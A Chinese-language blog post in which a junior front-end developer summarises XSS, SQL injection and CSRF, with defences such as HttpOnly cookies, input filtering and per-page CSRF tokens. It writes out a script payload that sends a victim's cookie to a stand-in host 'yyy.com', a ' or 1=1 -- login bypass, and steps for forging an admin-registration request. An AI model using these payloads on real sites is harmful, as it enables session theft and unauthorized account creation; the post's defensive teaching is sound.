今天去一家公司面試，這是我畢業之后的第一次跳槽面試。有點緊張，面試官問了一下關于前端安全的問題直接把我給問蒙住了。之前一直沒有太留意過這些方面的問題?；貋碇笞约赫伊诵┵Y料看了一下，做個總結，以防自己以后再遇到這些尷尬的問題。
XSS又叫CSS (Cross Site Script) ，跨站腳本攻擊。它指的是惡意攻擊者往Web頁面里插入惡意html代碼，當用戶瀏覽該頁之時，嵌入其中Web里面的html代碼會被執行，從而達到惡意用戶的特殊目的。(百度百科)
1、Dom-Based XSS 漏洞 假設有個交友網站(http://xxx.com)存在該漏洞。 建立一個自己的網站(http://yyy.com) 構建一個惡意的URL，發送給其他用戶。
http://xxx.com/search.asp?user=<script>window.open("http://yyy.com?cookie="+document.cookie)</script>用戶點擊之后會將他的的cookie發送到我們的網站服務器，從而得到用戶的信息。
2、Stored XSS(存儲式XSS漏洞) 假設某網站存在該漏洞 我通過上傳一片文章，并在文章中添加一下代碼。并將文章存儲到數據庫中
<script>window.open("http://yyy.com?cookie="+document.cookie)</script>這樣當其他用戶點開該文章的時候就會將他的cookie發送到我們的網站服務器
注：Dom-Based XSS漏洞威脅用戶個體，而存儲式XSS漏洞所威脅的對象將是大量的用戶
原則：不相信客戶輸入的數據 注意：攻擊代碼不一定在script中 1. 將重要的cookie標記為http only, 這樣的話javascript 中的document.cookie語句就不能獲取到cookie了。 2. 只允許用戶輸入我們期望的數據。 例如： 年齡的textbox中，只允許用戶輸入數字。 而數字之外的字符都過濾掉。 3. 對數據進行Html Encode 處理 4. 過濾或移除特殊的Html標簽， 例如: script，iframe等。 5. 過濾Javascript 事件的標簽。例如 “onclick=”, “onfocus” 等等。
參考： Web安全測試之XSS：http://www.cnblogs.com/TankXiao/archive/2012/03/21/2337194.html
所謂SQL注入，就是通過把SQL命令插入到Web表單提交或輸入域名或頁面請求的查詢字符串，最終達到欺騙服務器執行惡意的SQL命令。具體來說，它是利用現有應用程序，將（惡意）的SQL命令注入到后臺數據庫引擎執行的能力，它可以通過在Web表單中輸入（惡意）SQL語句得到一個存在安全漏洞的網站上的數據庫，而不是按照設計者意圖去執行SQL語句。[1] 比如先前的很多影視網站泄露VIP會員密碼大多就是通過WEB表單遞交查詢字符暴出的，這類表單特別容易受到SQL注入式攻擊。（百度百科）
用戶表：users 用戶名和密碼：admin 123456 當我們輸入用戶名和密碼之后，程序查詢數據庫：
select count(*) from users where username='admin' and passWord='123456'此時驗證通過，我們登錄成功。 假設我們不知道用戶名和密碼，我們輸入： 用戶名：test’ or 1=1 - - 密碼：123 此時產生的sql語句為：
select count(*) from users where username='test' or 1=1 - - and password='123'兩個-注釋了后續的語句，這時候我們同樣可以登錄成功，獲取該用戶信息。 注：這只是最簡單的最理想化的場景 詳細請查看：http://www.jb51.net/hack/64764.html
CSRF（Cross-site request forgery跨站請求偽造，也被稱為“One Click Attack”或者session Riding，通?？s寫為CSRF或者XSRF，是一種對網站的惡意利用。盡管聽起來像跨站腳本（XSS），但它與XSS非常不同，并且攻擊方式幾乎相左。XSS利用站點內的信任用戶，而CSRF則通過偽裝來自受信任用戶的請求來利用受信任的網站。與XSS攻擊相比，CSRF攻擊往往不大流行（因此對其進行防范的資源也相當稀少）和難以防范，所以被認為比XSS更具危險性。（百度百科）
目的：注冊一個管理員賬戶 步驟： 1. 該網站(http://A.com)是采用某種已經搭建好基本框架的程序開發，并且未進行令牌(token)驗證 2. 下載該源碼框架，并找到管理員注冊界面(mananger.html)的html代碼。 3. 修改該html的內容，刪除不必要的代碼。將自己的信息賦值進去，并編寫js，當打開這個頁面的時候提交該表單。表單的action指向(http://A.com/mananger.html) 4. 構建自己的網站(http://B.com)并將B.html存放在自己的放在自己的網站中。 5. 通過站內消息向管理員發送一個鏈接(http://B.com/B.html) 6. 當管理員打開網站之后，就會立即提交我自己寫好的form表單。(因為此時管理員登錄了且其session并沒有失效) 7. 這時候我的管機員賬號就注冊成功了。 類似如下圖： 
首先服務器端要以某種策略生成隨機字符串，作為令牌（token），保存在 Session 里。然后在發出請求的頁面，把該令牌以隱藏域一類的形式，與其他信息一并發出。在接收請求的頁面，把接收到的信息中的令牌與 Session 中的令牌比較，只有一致的時候才處理請求，處理完成后清理session中的值，否則返回 HTTP 403 拒絕請求或者要求用戶重新登陸驗證身份
注意：
雖然請求令牌原理和驗證碼有相似之處，但不應該像驗證碼一樣，全局使用一個 Session Key。因為請求令牌的方法在理論上是可破解的，破解方式是解析來源頁面的文本，獲取令牌內容。如果全局使用一個 Session Key，那么危險系數會上升。原則上來說，每個頁面的請求令牌都應該放在獨立的 Session Key 中。我們在設計服務器端的時候，可以稍加封裝，編寫一個令牌工具包，將頁面的標識作為 Session 中保存令牌的鍵。在 Ajax 技術應用較多的場合，因為很有請求是 JavaScript 發起的，使用靜態的模版輸出令牌值或多或少有些不方便。但無論如何，請不要提供直接獲取令牌值的 API。這么做無疑是鎖上了大門，卻又把鑰匙放在門口，讓我們的請求令牌退化為同步令牌。第一點說了請求令牌理論上是可破解的，所以非常重要的場合，應該考慮使用驗證碼（令牌的一種升級，目前來看破解難度極大），或者要求用戶再次輸入密碼（亞馬遜、淘寶的做法）。但這兩種方式用戶體驗都不好，所以需要產品開發者權衡。無論是普通的請求令牌還是驗證碼，服務器端驗證過一定記得銷毀。忘記銷毀用過的令牌是個很低級但是殺傷力很大的錯誤。我們學校的選課系統就有這個問題，驗證碼用完并未銷毀，故只要獲取一次驗證碼圖片，其中的驗證碼可以在多次請求中使用（只要不再次刷新驗證碼圖片），一直用到。如下也列出一些據說能有效防范 CSRF，其實效果甚微或甚至無效的做法：
通過 referer 判定來源頁面：referer 是在 HTTP Request Head 里面的，也就是由請求的發送者決定的。如果我喜歡，可以給 referer 任何值。當然這個做法并不是毫無作用，起碼可以防小白。但我覺得性價比不如令牌。過濾所有用戶發布的鏈接：這個是最無效的做法，因為首先攻擊者不一定要從站內發起請求（上面提到過了），而且就算從站內發起請求，途徑也遠遠不知鏈接一條。比如 img src=”./create_post.php” 就是個不錯的選擇，還不需要用戶去點擊，只要用戶的瀏覽器會自動加載圖片，就會自動發起請求。在請求發起頁面用 alert 彈窗提醒用戶：這個方法看上去能干擾站外通過 iframe 發起的 CSRF，但攻擊者也可以考慮用 window.alert = function(){}; 把 alert 弄啞，或者干脆脫離 iframe，使用 Flash 來達到目的。總體來說，目前防御 CSRF 的諸多方法還沒幾個能徹底無解的。 作為開發者，我們能做的就是盡量提高破解難度。當破解難度達到一定程度，網站就逼近于絕對安全的位置了
參考： 從零開始學CSRF：http://www.freebuf.com/articles/web/55965.html 漏洞科普：對于XSS和CSRF你究竟了解多少：http://www.freebuf.com/articles/web/39234.html
未完待續。。。
新聞熱點
疑難解答
